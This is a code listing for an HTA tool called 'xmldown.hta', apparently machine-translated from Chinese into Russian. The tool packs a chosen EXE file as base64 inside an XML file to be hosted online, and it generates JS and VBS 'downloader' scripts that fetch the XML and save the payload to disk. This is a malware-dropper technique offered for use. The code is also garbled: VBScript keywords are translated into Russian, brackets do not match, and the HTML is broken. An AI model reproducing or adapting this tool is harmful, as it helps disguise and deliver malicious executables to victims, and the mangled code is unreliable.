Код генератора загрузки XMLDOM (xmldown.hta)

以下代码保存成 hta 文件 可生成 js 和 vbs 下载者

代码如下:

<HTA: Приложение

Id = "xmldown"

Подпись = "Да"

Scroll = "Auto"

Border = "нет"

borderstyle = "static"

SingleInstance = "Да"

MaximizeButton = "Нет"

Border = "Нет"

icon = "dxdiag.exe">

<script language = VBS>

Sub windows_onload

Window.Resizeto Screen.width/1.6, Screen.height/3

Window.moveto 200 200

Конец суб

Sub createxml (path, file)

Установить objstream = createObject ("adodb.stream")

objstream.type = 1

objstream.open ()

objstream.loadfromfile (path)

objstream.position = 0

SET XMLDOC = createObject ("microsoft.xmldom")

Xmldoc.async = false

SET ROOT = XMLDOC.CREATEPROCESSINGINSTRUCTION ("xml", "version = '1.0' Encoding = 'UTF-8'")

Xmldoc.appendchild (корень)

Xmldoc.appendchild (xmldoc.createElement ("root"))

Установить xfile = xmldoc.selectsinglenode ("// root"). AppendChild (xmldoc.createElement ("file")))))

Set xstream = xfile.appendchild (xmldoc.createElement ("Stream")))

Xstream.setattribute "xmlns: dt", "urn: schemas-microsoft-com: dataTypes"

Xstream.datatype = "bin.base64"

Xstream.nodetypedvalue = objstream.read ()

Xmldoc.save (файл)

Установить XMLDOC = ничего

Установить root = ничего

Установить objstream = ничего

Конец суб

Функция x (obj)

Установите x = document.getElementById (OBJ)

Конечная функция

Функция findfile (str)

Установить fso = createObject ("scripting.filesystemobject")

Если fso.fileexists (str), то

findfile = true

Еще

findfile = false

Конец, если

Конечная функция

Функция jsdown ()

Установить fso = createObject ("scripting.filesystemobject")

с fso.opentextfile ((createObject ("wscript.shell")). CurrentDirectory & "/jsdown.js", 2, true)

.write x ("jsdown"). Значение

закончить с

конечная функция

Функция vbsdown ()

Установить fso = createObject ("scripting.filesystemobject")

с fso.opentextfile ((createObject ("wscript.shell")). CurrentDirectory & "/vbsdown.vbs", 2, true)

.write x ("vbsdown"). Значение

закончить с

конечная функция

</script>

<тело>

<h4> 1. 生成下载用的 xml 文件 </h4>

选择下载的 exe 文件 ： <input type = file name = "file1" id = "file1" size = "20">

保存路径 <input type = text name = "path" id = "pathname" value = "c:/down.xml" size = "20">

<input type = "button" value = "生成 xml 文件" onclick = 'vbs: createxml x ("file1"). value, x ("pathname"). Значение: если findfile (x ("pathname"). Value) = true then msgbox ("生成成功 请传到某个空间"): x ("url"). color = red> 生成成功 ​​， 请传到某个空间 </font> "'> <br>

<h4> 2. 生成下载者 </h4>

<button onclick = 'vbs: jsdown (): if findfile ("jsdown.js") = true then msgbox "生成成功": x ("url"). innerhtml = "用法是 cscript jsdown.js xmlurl savePath" Findfile ("vbsdown.vbs") = true, затем msgbox "生成成功": x ("url"). Innerhtml = "<font color = blue> 用法是 cscript vbsdown.js xmlurl savepath </font>" '> 生成 vbs 下载者 </button> <br> <br> <br> <br>